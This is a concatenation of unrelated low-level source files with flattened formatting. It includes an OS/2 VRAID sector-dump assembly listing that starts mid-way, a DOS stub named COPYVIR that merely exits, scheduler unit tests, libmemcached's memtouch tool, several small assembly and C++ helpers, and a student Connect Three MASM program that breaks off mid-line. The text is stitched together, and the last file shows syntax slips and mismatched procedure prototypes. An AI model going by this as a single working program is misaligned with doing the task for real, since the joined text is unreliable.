FLAT:@CBE6 mov ecx,offset FLAT:@CBE12 mov edx,edi xor eax,eax call Verbose ; 170 Verbose(0, "Dump", "Drive capacity: %lu MBytes", size); push dword ptr [ebp-024h]; size mov ecx,offset FLAT:@CBE13 sub esp,0ch mov edx,edi xor eax,eax call Verbose ; 173 rc = PDskRead(hd, 0, 1, buffer); lea eax,[ebp-0228h]; buffer push eax sub esp,0ch mov eax,[ebp-010h]; hd mov cx,01h xor edx,edx call PDskRead add esp,038h mov edx,edi ; 174 if( rc != 0 ) test eax,eax je @BLBL26 ; 176 Verbose(0, "Dump", "PDskRead - rc %lu", rc); push eax mov ecx,offset FLAT:@CBE14 sub esp,0ch xor eax,eax call Verbose add esp,010h ; 177 break; jmp @BLBL25 @BLBL26: ; 180 DumpBuffer(output, buffer, 512); lea edx,[ebp-0228h]; buffer mov cx,0200h mov eax,ebx call DumpBuffer__FPcPCvCUs ; 181 Verbose(0, "Dump", "-------- Dump of real partition sector --------\n%s", push ebx mov ecx,offset FLAT:@CBE15 sub esp,0ch mov edx,offset FLAT:@CBE6 xor eax,eax call Verbose add esp,010h ; 188 for( i = 0; i < 4; ++i ) xor edx,edx xor ecx,ecx @BLBL28: ; 190 if( sec->PartitionTable[i].SysIndicator == VRAID_PARTTYPE ) lea edi,dword ptr [ebp+ecx-0228h] cmp byte ptr [edi+01c2h],07ch; buffer jne @BLBL31 mov esi,edi ; 192 partoffset = sec->PartitionTable[i].RelativeSectors; mov esi,[esi+01c6h] ; 193 break; jmp @BLBL27 @BLBL31: ; 188 for( i = 0; i < 4; ++i ) inc edx add ecx,010h cmp edx,04h jl @BLBL28 @BLBL27: ; 196 if( partoffset == 0 ) test esi,esi jne @BLBL33 ; 198 Verbose(1, "Dump", "no VRAID partition on drive %u", devidx); push dword ptr [ebp-014h]; devidx mov ecx,offset FLAT:@CBE16 sub esp,0ch mov edx,offset FLAT:@CBE6 mov eax,01h call Verbose add esp,010h ; 199 break; jmp @BLBL25 @BLBL33: ; 203 rc = PDskRead(hd, partoffset, 1, buffer); lea eax,[ebp-0228h]; buffer push eax mov cx,01h sub esp,0ch mov eax,[ebp-010h]; hd mov edx,esi call PDskRead add esp,010h ; 204 if( rc != 0 ) test eax,eax je @BLBL34 ; 206 Verbose(0, "Dump", "PDskRead - rc %lu", rc); push eax mov ecx,offset FLAT:@CBE14 sub esp,0ch mov edx,offset FLAT:@CBE6 xor eax,eax call Verbose add esp,010h ; 207 break; jmp @BLBL25 @BLBL34: ; 210 DumpBuffer(output, buffer, 512); lea edi,[ebp-0228h]; buffer mov edx,edi mov cx,0200h mov eax,ebx call DumpBuffer__FPcPCvCUs ; 211 Verbose(0, "Dump", "-------- Dump of PHYSDEV sector (%lu) --------\n%s", push ebx mov edi,offset FLAT:@CBE6 push esi mov ecx,offset FLAT:@CBE17 sub esp,0ch mov edx,edi xor eax,eax call Verbose lea eax,[ebp-0228h]; buffer ; 216 if( memcmp(sec->sectype, "PHYSDEVICE ", 16) != 0 ) mov ecx,010h mov edx,offset FLAT:@CBE18 call memcmp add esp,014h mov edx,edi test eax,eax je @BLBL35 ; 218 Verbose(1, "Dump", "no PHYSDEV sector on partition"); mov ecx,offset FLAT:@CBE19 mov eax,01h call Verbose ; 219 break; jmp @BLBL25 @BLBL35: ; 221 dataoffset = sec->u.s.adminspace; mov ax,[ebp-020eh]; buffer ; 224 for( i = 1; (((PSEC_VRDEV)buffer)->u.s.flags & 0x80) == 0; ++i ) test byte ptr [ebp-020dh],080h; buffer ; 221 dataoffset = sec->u.s.adminspace; mov [ebp-026h],ax; dataoffset ; 224 for( i = 1; (((PSEC_VRDEV)buffer)->u.s.flags & 0x80) == 0; ++i ) jne @BLBL36 mov edi,01h @BLBL37: ; 226 rc = PDskRead(hd, partoffset+i, 1, buffer); lea eax,[ebp-0228h]; buffer push eax mov edx,edi sub esp,0ch mov eax,[ebp-010h]; hd mov cx,01h add edx,esi call PDskRead add esp,010h ; 227 if( rc != 0 ) test eax,eax je @BLBL38 ; 229 Verbose(0, "Dump", "PDskRead - rc %lu", rc); push eax mov ecx,offset FLAT:@CBE14 sub esp,0ch mov edx,offset FLAT:@CBE6 xor eax,eax call Verbose add esp,010h ; 230 break; jmp @BLBL36 @BLBL38: ; 233 DumpBuffer(output, buffer, 512); lea eax,[ebp-0228h]; buffer mov edx,eax mov cx,0200h mov eax,ebx call DumpBuffer__FPcPCvCUs ; 234 Verbose(0, push ebx mov eax,edi add eax,esi push eax mov eax,offset FLAT:@CBE6 sub esp,0ch mov edx,eax mov ecx,offset FLAT:@CBE20 xor eax,eax call Verbose lea eax,[ebp-0228h]; buffer ; 237 if( memcmp(((PSEC_VRDEV)buffer)->sectype,"VRAIDDEVICE ",16) != 0) mov ecx,010h mov edx,offset FLAT:@CBE21 call memcmp add esp,014h mov edx,offset FLAT:@CBE6 test eax,eax je @BLBL41 ; 239 Verbose(1, "Dump", "no VRAIDEVICE mark"); mov ecx,offset FLAT:@CBE22 mov eax,01h call Verbose ; 240 break; jmp @BLBL36 @BLBL41: ; 224 for( i = 1; (((PSEC_VRDEV)buffer)->u.s.flags & 0x80) == 0; ++i ) inc edi test byte ptr [ebp-020dh],080h; buffer je @BLBL37 @BLBL36: ; 246 rc = PDskRead(hd, partoffset+dataoffset, 1, buffer); lea eax,[ebp-0228h]; buffer push eax mov cx,01h sub esp,0ch movzx edx,word ptr [ebp-026h]; dataoffset mov eax,[ebp-010h]; hd add edx,esi call PDskRead add esp,010h ; 247 if( rc != 0 ) test eax,eax je @BLBL43 ; 249 Verbose(0, "Dump", "PDskRead - rc %lu", rc); push eax mov ecx,offset FLAT:@CBE14 sub esp,0ch mov edx,offset FLAT:@CBE6 xor eax,eax call Verbose add esp,010h ; 250 break; jmp @BLBL25 @BLBL43: ; 253 DumpBuffer(output, buffer, 512); lea edx,[ebp-0228h]; buffer mov cx,0200h mov eax,ebx call DumpBuffer__FPcPCvCUs ; 254 Verbose(0, push ebx movzx eax,word ptr [ebp-026h]; dataoffset add eax,esi push eax mov ecx,offset FLAT:@CBE23 sub esp,0ch mov edx,offset FLAT:@CBE6 xor eax,eax call Verbose add esp,014h ; 258 while( 0 ); @BLBL25: ; 260 PDskClose(hd); mov eax,[ebp-010h]; hd call PDskClose ; 262 } /* for every device*/ @BLBL21: ; 132 for( devidx = 0; devidx < devcnt; ++devidx ) mov eax,[ebp-014h]; devidx inc eax cmp [ebp-018h],eax; devcnt mov [ebp-014h],eax; devidx ja @BLBL19 @BLBL18: ; 264 delete[] output; mov eax,[ebp-01ch]; output call __vd__FPv ; 265 return; add esp,0238h pop esi pop edi pop ebx pop ebp ret DumpPartitions endp ; 67 DumpBuffer(char * output,void const * buffer,USHORT const cb) DumpBuffer__FPcPCvCUs proc push ebp mov ebp,esp push ebx mov [ebp+010h],cx; cb push edi push esi sub esp,024h ; 70 UCHAR const * p = (UCHAR *)buffer; mov [ebp-010h],edx; p ; 74 for( i = 0; i < cb; ++i, ++p ) test cx,cx jbe @BLBL3 mov ebx,eax xor esi,esi xor edi,edi @BLBL4: mov eax,esi ; 76 if( (i % 16) == 0 ) test al,0fh jne @BLBL5 ; 77 oi += sprintf(&output[oi], "%04X: ", i); push esi lea eax,dword ptr [ebx+edi] sub esp,08h mov edx,offset FLAT:@CBE1 call _sprintfieee add eax,edi add esp,0ch mov edi,eax @BLBL5: ; 78 oi += sprintf(&output[oi], "%02X", *p); mov ecx,[ebp-010h]; p mov edx,offset FLAT:@CBE2 movzx eax,byte ptr [ecx] push eax lea eax,dword ptr [ebx+edi] sub esp,08h call _sprintfieee ; 79 ascii[i%16] = (isprint(*p) ? *p : '.'); mov ecx,esi ; 78 oi += sprintf(&output[oi], "%02X", *p); mov edx,[ebp-010h]; p ; 79 ascii[i%16] = (isprint(*p) ? *p : '.'); and ecx,0fh lea ecx,dword ptr [ebp+ecx-028h] ; 78 oi += sprintf(&output[oi], "%02X", *p); add esp,0ch ; 79 ascii[i%16] = (isprint(*p) ? *p : '.'); mov [ebp-014h],ecx; @CBE26 mov ecx,dword ptr _ctype ; 78 oi += sprintf(&output[oi], "%02X", *p); add eax,edi mov edi,eax ; 79 ascii[i%16] = (isprint(*p) ? *p : '.'); movzx eax,byte ptr [edx] test byte ptr [ecx+eax*02h+01h],04h je @BLBL6 jmp @BLBL7 @BLBL6: mov eax,02eh @BLBL7: mov ecx,[ebp-014h]; @CBE26 mov edx,eax ; 81 if( (i+1) % 16 == 0 ) lea eax,[esi+01h] ; 79 ascii[i%16] = (isprint(*p) ? *p : '.'); mov [ecx],dl ; 81 if( (i+1) % 16 == 0 ) cdq xor eax,edx sub eax,edx and eax,0fh xor eax,edx sub eax,edx jne @BLBL8 ; 84 oi += sprintf(&output[oi], "\t%s\n", ascii); lea ecx,[ebp-028h]; ascii push ecx ; 83 ascii[16] = '\0'; mov byte ptr [ebp-018h],0h; ascii ; 84 oi += sprintf(&output[oi], "\t%s\n", ascii); sub esp,08h lea eax,dword ptr [ebx+edi] mov edx,offset FLAT:@CBE3 call _sprintfieee add eax,edi add esp,0ch mov edi,eax ; 85 } jmp @BLBL12 @BLBL8: ; 86 else if( (i+1) % 8 == 0 ) lea eax,[esi+01h] lea ecx,dword ptr [ebx+edi] cdq xchg ecx,eax xor ecx,edx sub ecx,edx and ecx,07h xor ecx,edx sub ecx,edx jne @BLBL10 ; 87 oi += sprintf(&output[oi], "-"); mov edx,offset FLAT:@CBE4 call _sprintfieee add eax,edi mov edi,eax jmp @BLBL12 @BLBL10: ; 89 oi += sprintf(&output[oi], " "); mov edx,offset FLAT:@CBE5 call _sprintfieee add eax,edi mov edi,eax ; 90 } @BLBL12: ; 74 for( i = 0; i < cb; ++i, ++p ) inc dword ptr [ebp-010h]; p ; 90 } mov eax,esi ; 74 for( i = 0; i < cb; ++i, ++p ) inc eax cmp [ebp+010h],ax; cb movzx esi,ax ja @BLBL4 @BLBL3: ; 91 return; add esp,024h pop esi pop edi pop ebx pop ebp ret DumpBuffer__FPcPCvCUs endp CODE32 ends end
ASSUME CS:CGR,DS:CGR,SS:CGR CGR GROUP COD,DAT COD SEGMENT BYTE LEN_ EQU (EC-COPYVIR)/1 org 100H COPYVIR PROC JMP VIR DB 1000 DUP (0) VIR: MOV AX,4C00H INT 21H ENDP EC: ENDS DAT SEGMENT BYTE A DB 50000 DUP (0) ENDS END COPYVIR
// Copyright (c) 2012-2015 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <random.h> #include <scheduler.h> #include <test/test_xazab.h> #include <boost/bind.hpp> #include <boost/thread.hpp> #include <boost/test/unit_test.hpp> BOOST_AUTO_TEST_SUITE(scheduler_tests) static void microTask(CScheduler& s, boost::mutex& mutex, int& counter, int delta, boost::chrono::system_clock::time_point rescheduleTime) { { boost::unique_lock<boost::mutex> lock(mutex); counter += delta; } boost::chrono::system_clock::time_point noTime = boost::chrono::system_clock::time_point::min(); if (rescheduleTime != noTime) { CScheduler::Function f = boost::bind(&microTask, boost::ref(s), boost::ref(mutex), boost::ref(counter), -delta + 1, noTime); s.schedule(f, rescheduleTime); } } static void MicroSleep(uint64_t n) { #if defined(HAVE_WORKING_BOOST_SLEEP_FOR) boost::this_thread::sleep_for(boost::chrono::microseconds(n)); #elif defined(HAVE_WORKING_BOOST_SLEEP) boost::this_thread::sleep(boost::posix_time::microseconds(n)); #else //should never get here #error missing boost sleep implementation #endif } BOOST_AUTO_TEST_CASE(manythreads) { // Stress test: hundreds of microsecond-scheduled tasks, // serviced by 10 threads. // // So... ten shared counters, which if all the tasks execute // properly will sum to the number of tasks done. // Each task adds or subtracts a random amount from one of the // counters, and then schedules another task 0-1000 // microseconds in the future to subtract or add from // the counter -random_amount+1, so in the end the shared // counters should sum to the number of initial tasks performed. CScheduler microTasks; boost::mutex counterMutex[10]; int counter[10] = { 0 }; FastRandomContext rng(42); auto zeroToNine = [](FastRandomContext& rc) -> int { return rc.randrange(10); }; // [0, 9] auto randomMsec = [](FastRandomContext& rc) -> int { return -11 + (int)rc.randrange(1012); }; // [-11, 1000] auto randomDelta = [](FastRandomContext& rc) -> int { return -1000 + (int)rc.randrange(2001); }; // [-1000, 1000] boost::chrono::system_clock::time_point start = boost::chrono::system_clock::now(); boost::chrono::system_clock::time_point now = start; boost::chrono::system_clock::time_point first, last; size_t nTasks = microTasks.getQueueInfo(first, last); BOOST_CHECK(nTasks == 0); for (int i = 0; i < 100; ++i) { boost::chrono::system_clock::time_point t = now + boost::chrono::microseconds(randomMsec(rng)); boost::chrono::system_clock::time_point tReschedule = now + boost::chrono::microseconds(500 + randomMsec(rng)); int whichCounter = zeroToNine(rng); CScheduler::Function f = boost::bind(&microTask, boost::ref(microTasks), boost::ref(counterMutex[whichCounter]), boost::ref(counter[whichCounter]), randomDelta(rng), tReschedule); microTasks.schedule(f, t); } nTasks = microTasks.getQueueInfo(first, last); BOOST_CHECK(nTasks == 100); BOOST_CHECK(first < last); BOOST_CHECK(last > now); // As soon as these are created they will start running and servicing the queue boost::thread_group microThreads; for (int i = 0; i < 5; i++) microThreads.create_thread(boost::bind(&CScheduler::serviceQueue, &microTasks)); MicroSleep(600); now = boost::chrono::system_clock::now(); // More threads and more tasks: for (int i = 0; i < 5; i++) microThreads.create_thread(boost::bind(&CScheduler::serviceQueue, &microTasks)); for (int i = 0; i < 100; i++) { boost::chrono::system_clock::time_point t = now + boost::chrono::microseconds(randomMsec(rng)); boost::chrono::system_clock::time_point tReschedule = now + boost::chrono::microseconds(500 + randomMsec(rng)); int whichCounter = zeroToNine(rng); CScheduler::Function f = boost::bind(&microTask, boost::ref(microTasks), boost::ref(counterMutex[whichCounter]), boost::ref(counter[whichCounter]), randomDelta(rng), tReschedule); microTasks.schedule(f, t); } // Drain the task queue then exit threads microTasks.stop(true); microThreads.join_all(); // ... wait until all the threads are done int counterSum = 0; for (int i = 0; i < 10; i++) { BOOST_CHECK(counter[i] != 0); counterSum += counter[i]; } BOOST_CHECK_EQUAL(counterSum, 200); } BOOST_AUTO_TEST_CASE(singlethreadedscheduler_ordered) { CScheduler scheduler; // each queue should be well ordered with respect to itself but not other queues SingleThreadedSchedulerClient queue1(&scheduler); SingleThreadedSchedulerClient queue2(&scheduler); // create more threads than queues // if the queues only permit execution of one task at once then // the extra threads should effectively be doing nothing // if they don't we'll get out of order behaviour boost::thread_group threads; for (int i = 0; i < 5; ++i) { threads.create_thread(boost::bind(&CScheduler::serviceQueue, &scheduler)); } // these are not atomic, if SinglethreadedSchedulerClient prevents // parallel execution at the queue level no synchronization should be required here int counter1 = 0; int counter2 = 0; // just simply count up on each queue - if execution is properly ordered then // the callbacks should run in exactly the order in which they were enqueued for (int i = 0; i < 100; ++i) { queue1.AddToProcessQueue([i, &counter1]() { BOOST_CHECK_EQUAL(i, counter1++); }); queue2.AddToProcessQueue([i, &counter2]() { BOOST_CHECK_EQUAL(i, counter2++); }); } // finish up scheduler.stop(true); threads.join_all(); BOOST_CHECK_EQUAL(counter1, 100); BOOST_CHECK_EQUAL(counter2, 100); } BOOST_AUTO_TEST_SUITE_END()
.data x: .word 1 y: .word 9 z: .word 8 .text .globl myadd myadd: la $t0, y lw $t0, 0($t0) la $t1, z lw $t1, 0($t1) add $t2, $t0, $t1 la $t0, x sw $t2, 0($t0) jr $ra
/* LibMemcached * Copyright (C) 2011-2012 Data Differential, http://datadifferential.com/ * Copyright (C) 2006-2009 Brian Aker * All rights reserved. * * Use and distribution licensed under the BSD license. See * the COPYING file in the parent directory for full text. * * Summary: * */ #include <mem_config.h> #include <cerrno> #include <cstdio> #include <cstring> #include <getopt.h> #include <iostream> #include <unistd.h> #include <libmemcached-1.2/memcached.h> #include "clients/utilities.h" #define PROGRAM_NAME "memtouch" #define PROGRAM_DESCRIPTION "Update the expiration value of an already existing value in the server" /* Prototypes */ void options_parse(int argc, char *argv[]); static int opt_binary= 0; static int opt_verbose= 0; static char *opt_servers= NULL; static char *opt_hash= NULL; static char *opt_username; static char *opt_passwd; time_t expiration= 0; int main(int argc, char *argv[]) { int return_code= EXIT_SUCCESS; options_parse(argc, argv); initialize_sockets(); if (opt_servers == NULL) { char *temp; if ((temp= getenv("MEMCACHED_SERVERS"))) { opt_servers= strdup(temp); } if (opt_servers == NULL) { std::cerr << "No Servers provided" << std::endl; exit(EXIT_FAILURE); } } memcached_server_st* servers= memcached_servers_parse(opt_servers); if (servers == NULL or memcached_server_list_count(servers) == 0) { std::cerr << "Invalid server list provided:" << opt_servers << std::endl; return EXIT_FAILURE; } memcached_st *memc= memcached_create(NULL); process_hash_option(memc, opt_hash); memcached_server_push(memc, servers); memcached_server_list_free(servers); memcached_behavior_set(memc, MEMCACHED_BEHAVIOR_BINARY_PROTOCOL, (uint64_t)opt_binary); if (opt_username and libmemcached_has_feature(LIBMEMCACHED_FEATURE_HAS_SASL) == false) { memcached_free(memc); std::cerr << "--username was supplied, but binary was not built with SASL support." << std::endl; return EXIT_FAILURE; } if (opt_username) { memcached_return_t ret; if (memcached_failed(ret= memcached_set_sasl_auth_data(memc, opt_username, opt_passwd))) { std::cerr << memcached_last_error_message(memc) << std::endl; memcached_free(memc); return EXIT_FAILURE; } } while (optind < argc) { memcached_return_t rc= memcached_touch(memc, argv[optind], strlen(argv[optind]), expiration); if (rc == MEMCACHED_NOTFOUND) { if (opt_verbose) { std::cout << "Could not find key \"" << argv[optind] << "\"" << std::endl; } return_code= EXIT_FAILURE; } else if (memcached_failed(rc)) { if (opt_verbose) { std::cerr << "Fatal error for key \"" << argv[optind] << "\" :" << memcached_last_error_message(memc) << std::endl; } return_code= EXIT_FAILURE; } else // success { if (opt_verbose) { std::cout << "Found key " << argv[optind] << std::endl; } } optind++; } memcached_free(memc); if (opt_servers) { free(opt_servers); } if (opt_hash) { free(opt_hash); } return return_code; } void options_parse(int argc, char *argv[]) { memcached_programs_help_st help_options[]= { {0}, }; static struct option long_options[]= { {(OPTIONSTRING)"version", no_argument, NULL, OPT_VERSION}, {(OPTIONSTRING)"help", no_argument, NULL, OPT_HELP}, {(OPTIONSTRING)"quiet", no_argument, NULL, OPT_QUIET}, {(OPTIONSTRING)"verbose", no_argument, &opt_verbose, OPT_VERBOSE}, {(OPTIONSTRING)"debug", no_argument, &opt_verbose, OPT_DEBUG}, {(OPTIONSTRING)"servers", required_argument, NULL, OPT_SERVERS}, {(OPTIONSTRING)"hash", required_argument, NULL, OPT_HASH}, {(OPTIONSTRING)"binary", no_argument, NULL, OPT_BINARY}, {(OPTIONSTRING)"username", required_argument, NULL, OPT_USERNAME}, {(OPTIONSTRING)"password", required_argument, NULL, OPT_PASSWD}, {(OPTIONSTRING)"expire", required_argument, NULL, OPT_EXPIRE}, {0, 0, 0, 0}, }; bool opt_version= false; bool opt_help= false; int option_index= 0; while (1) { int option_rv= getopt_long(argc, argv, "Vhvds:", long_options, &option_index); if (option_rv == -1) { break; } switch (option_rv) { case 0: break; case OPT_BINARY: opt_binary = true; break; case OPT_VERBOSE: /* --verbose or -v */ opt_verbose = OPT_VERBOSE; break; case OPT_DEBUG: /* --debug or -d */ opt_verbose = OPT_DEBUG; break; case OPT_VERSION: /* --version or -V */ opt_version= true; break; case OPT_HELP: /* --help or -h */ opt_help= true; break; case OPT_SERVERS: /* --servers or -s */ opt_servers= strdup(optarg); break; case OPT_HASH: opt_hash= strdup(optarg); break; case OPT_USERNAME: opt_username= optarg; break; case OPT_PASSWD: opt_passwd= optarg; break; case OPT_EXPIRE: errno= 0; expiration= time_t(strtoul(optarg, (char **)NULL, 10)); if (errno != 0) { fprintf(stderr, "Invalid value for --expire: %s\n", optarg); exit(EXIT_FAILURE); } break; case OPT_QUIET: close_stdio(); break; case '?': /* getopt_long already printed an error message. */ exit(EXIT_FAILURE); default: abort(); } } if (opt_version) { version_command(PROGRAM_NAME); exit(EXIT_SUCCESS); } if (opt_help) { help_command(PROGRAM_NAME, PROGRAM_DESCRIPTION, long_options, help_options); exit(EXIT_SUCCESS); } }
#include "scene_graph.h" namespace { const char* SCENE_LINEAR_ACCELERATION_EVALUATOR_LIBRARY = "Scene.AccelerationEvaluators.Linear"; } namespace engine { namespace scene_graph_script_binds { //Создание объекта LinearAccelerationEvaluator create_linear_acceleration_evaluator () { return LinearAccelerationEvaluator (); } /* Регистрация библиотеки работы с линейным рассчетом ускорения */ void bind_linear_acceleration_evaluator_library (Environment& environment) { InvokerRegistry lib = environment.CreateLibrary (SCENE_LINEAR_ACCELERATION_EVALUATOR_LIBRARY); //регистрация функций создания lib.Register ("Create", make_invoker (&create_linear_acceleration_evaluator)); //регистрация операций lib.Register ("set_Acceleration", make_invoker (&LinearAccelerationEvaluator::SetAcceleration)); lib.Register ("set_Deceleration", make_invoker (&LinearAccelerationEvaluator::SetDeceleration)); lib.Register ("set_MaxSpeed", make_invoker (&LinearAccelerationEvaluator::SetMaxSpeed)); lib.Register ("get_Acceleration", make_invoker (&LinearAccelerationEvaluator::Acceleration)); lib.Register ("get_Deceleration", make_invoker (&LinearAccelerationEvaluator::Deceleration)); lib.Register ("get_MaxSpeed", make_invoker (&LinearAccelerationEvaluator::MaxSpeed)); //регистрация типа данных environment.RegisterType<LinearAccelerationEvaluator> (SCENE_LINEAR_ACCELERATION_EVALUATOR_LIBRARY); } } }
#include "sxml_core.hpp" #include <iostream> namespace SXML { namespace Internal { //##################################################################################################################### std::ostream& tag_start(std::ostream& stream, std::string const& name, XmlifyOptions const& options) { stream << '<' << name << '>'; return stream; } //--------------------------------------------------------------------------------------------------------------------- std::ostream& tag_end(std::ostream& stream, std::string const& name, XmlifyOptions const& options) { stream << "</" << name << '>'; return stream; } //##################################################################################################################### } }
.code ; void AVX_Packed_Sum_Short_(const XmmVal & a, const XmmVal & b, XmmVal results[2]) AVX_Packed_Sum_Short_ proc vmovdqa xmm0, xmmword ptr [rcx] vmovdqa xmm1, xmmword ptr [rdx] vpaddw xmm2, xmm0, xmm1 ; Wraparound vpaddsw xmm3, xmm0, xmm1 ; Saturated vmovdqa xmmword ptr [r8], xmm2 ; Wraparound vmovdqa xmmword ptr [r8+type xmmword], xmm3 ; Saturated ret AVX_Packed_Sum_Short_ endp end
; unsigned char esx_f_seekdir(unsigned char handle,uint32_t pos) SECTION code_esxdos PUBLIC esx_f_seekdir_callee EXTERN asm_esx_f_seekdir esx_f_seekdir_callee: pop hl pop de pop bc ex (sp),hl ld a,l jp asm_esx_f_seekdir ; SDCC bridge for Classic IF __CLASSIC PUBLIC _esx_f_seekdir_callee defc _esx_f_seekdir_callee = esx_f_seekdir_callee ENDIF
TITLE: Final.asm INCLUDE Irvine32.inc Menu proto maxOption:dword, prompt:ptr byte, choice:ptr dword, errorMsg: ptr byte ConnectThree proto modePrompt:ptr byte, columnPrompt:ptr byte, errorMsg:ptr byte GetGameMode proto prompt:ptr byte, errorMsg:ptr byte, playerTypesAddr:ptr byte ChooseFirstPlayer proto playerNumber:ptr byte DisplayGrid proto gridAddr:ptr byte PrintGridRow proto leftChar:ptr byte, rightChar:ptr byte, middleChar:ptr byte, dividerChar:ptr byte, cellWidth:ptr byte .data mainMenuPrompt byte "Welcome to Connect Three! Please select an option:", 0Ah, 0Dh, "1) Play new game", 0Ah, 0Dh, "2) Show stats", 0Ah, 0Dh, "3) Exit", 0 gameModePrompt byte "Please select a game mode:", 0Ah, 0Dh, "1) Human vs. human", 0Ah, 0Dh, "2) Human vs. computer", 0Ah, 0Dh, "3) Computer vs. computer", 0 selectColumnPrompt byte "Please select a column to drop your piece (1 - 5): " invalidChoicePrompt byte "You have entered an invalid choice. Please enter a number from 1 to ",0 maxMenuOption byte 3 userChoice byte 1 playerTypes byte 2 dup(0) currentPlayer byte 0 grid byte 4 dup(0) gridLength = ($ - grid) byte 4 dup(0) byte 4 dup(0) byte 4 dup(0) s1 byte, "You've selected option ", 0 .code main PROC call Randomize start: ; Display main menu and get user's choice call ClrScr ;INVOKE Menu, maxMenuOption, ADDR mainMenuPrompt, ADDR userChoice, ADDR invalidChoicePrompt opt1: ; Play Connect Three cmp userChoice, 1 jne opt2 ;INVOKE GetGameMode, ADDR gameModePrompt, ADDR invalidChoicePrompt, ADDR playerTypes INVOKE ChooseFirstPlayer, ADDR currentPlayer call ClrScr INVOKE DisplayGrid, ADDR grid call waitMsg jmp start opt2: ; Show stats cmp userChoice, 2 jne done mov edx, offset s1 mov eax, 3 call ClrScr call WriteString call WriteDec call CRLF call WaitMsg jmp start done: exit main ENDP ; ----------------------------------------------------------------------------- Menu proc maxOption:ptr byte, prompt:ptr byte, choice:ptr byte, errorMsg:ptr byte ; Displays the prompt given, gets a selection from the user, checks if the ; selection is more than or equal to one and less than or equal to maxOption, ; and stores the result into the memory at choice. ; ; Receives: ; maxOption: The maximum number the user is allowed to select. ; prompt: A pointer to a string telling the user what they're selecting. ; choice: A pointer to where this procedure should store the result ; errorMsg: This string is displayed when the user selects an invalid option ; ; Returns: ; choice: The number of the menu option the user chose. LOCAL beginString:dword, period:dword mov beginString, '>' mov beginString[1], ' ' mov period, '.' pushad start: ; First let's display the menu prompt mov edx, prompt call WriteString call CRLF lea edx, beginString call WriteString ; Receive the user's option mov esi, choice call ReadHex mov [esi], eax ; Check to see if the input is within the valid range ; Start over if: ; The number is below 1 mov eax, 1 cmp [esi], eax jb tryAgain ; The number is above the max range mov eax, maxOption cmp [esi], eax ja tryAgain ; If we're here, then the user successfully entered a menu option. ; Yay for them! jmp done tryAgain: ; If we're here, the user's gone and messed up. Let's ask them to try again. ; First we display the main part of the error message call ClrScr mov edx, errorMsg call WriteString ; Then we output the upper limit of correct choices. mov eax, maxOption call WriteDec lea edx, period call WriteString call CRLF call WaitMsg call ClrScr ; And start over jmp start done: ret 16 Menu endp ; ----------------------------------------------------------------------------- GetGameMode proc prompt: ptr byte, errorMsg: ptr byte, playerTypesAddr:ptr byte ; This procedure asks the user to choose a Connect Three game mode. ; The user will choose either: ; 1) Human vs. human ; 2) Human vs. computer ; 3) Computer vs. computer LOCAL maxOptions:dword, choice:dword, choiceAddr: ptr dword pushad lea eax, choice mov choiceAddr, eax mov choice, 0 ; Display game mode menu and get user option mov maxOptions, 3 call ClrScr INVOKE Menu, maxOptions, prompt, choiceAddr, errorMsg mov esi, choice mov eax, [esi] ; Now we set up our game with the correct player types humanVsHuman: cmp eax, 1 jne humanVsComputer mov playerTypesAddr[0], 1 ; One for human mov playerTypesAddr[1], 1 jmp done humanVsComputer: cmp eax, 2 jne computerVsComputer mov playerTypesAddr[0], 1 mov playerTypesAddr[1], 0 ; Zero for computer jmp done computerVsComputer: mov playerTypesAddr[0], 0 mov playerTypesAddr[1], 0 done: popad ret 12 GetGameMode endp ; ----------------------------------------------------------------------------- ChooseFirstPlayer proc playerNumber:ptr byte ; Gets a random number, either 1 or 0, and stores it at the address in ; playerNumber ; ; Receives: ; playerNumber: The address to store the result ; ; Returns: ; Either a 1 or 0 at the address in playerNumber push eax push esi mov eax, 1 call RandomRange mov esi, playerNumber mov byte ptr [esi], al pop esi pop eax ret 4 ChooseFirstPlayer endp ; ----------------------------------------------------------------------------- PrintGridRow proc leftChar:ptr byte, rightChar:ptr byte, middleChar:ptr byte, dividerChar:ptr byte, cellWidth:ptr byte ; This procedure prints a single row of ascii characters representing our game grid. It prints a single character ; for the left side, the contents of the middle of the grid, then a single character on the right side. ; The middle contents are printed four times - one for each cell in a row - and divided by a single character to show ; where each column is split. ; ; Receives: ; leftChar: Character printed on the left side of the row ; rightChar: Character printed on the not left side ; middleChar: Character spanning each cell ; dividerChar: Character dividing each cell ; cellWidth: Width of each cell push esi push eax push ecx ; Print left char first mov esi, leftChar mov al, [esi] call WriteChar ; Print middle mov ecx, 4 L1: push ecx ; Set ECX to cellWidth mov esi, cellWidth mov ecx, 0 mov cl, [esi] ; Set AL to middleChar for printing mov esi, middleChar mov al, [esi] ; Print middle of cell L2: call WriteChar LOOP L2 ; If we're on the last column, we don't need another divider pop ecx cmp ecx, 1 jbe L1Done mov esi, dividerChar mov al, [esi] call WriteChar L1Done: loop L1 ; Top right corner mov esi, rightChar mov al, [esi] call WriteChar call CRLF pop ecx pop eax pop esi ret 20 PrintGridRow endp ; ----------------------------------------------------------------------------- DisplayGrid proc gridAddr:ptr byte ; Repeatedly prints one row of the game grid at a time until the whole grid is ; displayed on screen. ; ; Receives: ; gridAddr: The address of the game grid array LOCAL rowCount:byte, cellWidth:byte, cellHeight:byte, leftChar:byte, rightChar:byte, middleChar:byte, dividerChar:byte pushad ; Save default text color mov eax, 0 call GetTextColor push eax ; Set grid color mov eax, 14 call SetTextColor ; Set cell size mov cellWidth, 12 ; Optimal at 12 mov cellHeight, 5 ; Optimal at 5 ; Setup grid matrix indexing mov rowCount, 0 lea eax, grid ; First output top of grid mov leftChar, 201 mov rightChar, 187 mov middleChar, 205 mov dividerChar, 209 INVOKE PrintGridRow, ADDR leftChar, ADDR rightChar, ADDR middleChar, ADDR dividerChar, ADDR cellWidth ; Then print middle of grid mov ecx, 4 L1: push ecx ; Set ECX to cellHeight movzx ecx, cellHeight ; Set contents of row mov leftChar, 186 mov rightChar, 186 mov middleChar, ' ' mov dividerChar, 179 ; Print row L2: INVOKE PrintGridRow, ADDR leftChar, ADDR rightChar, ADDR middleChar, ADDR dividerChar, ADDR cellWidth LOOP L2 ; If we're on the last row, we don't need another divider pop ecx cmp ecx, 1 jbe L1Done mov leftChar, 199 mov rightChar, 182 mov middleChar, 196 mov dividerChar, 197 INVOKE PrintGridRow, ADDR leftChar, ADDR rightChar, ADDR middleChar, ADDR dividerChar, ADDR cellWidth L1Done: loop L1 ; Print the bottom of the grid mov leftChar, 200 mov rightChar, 188 mov middleChar, 205 mov dividerChar, 207 INVOKE 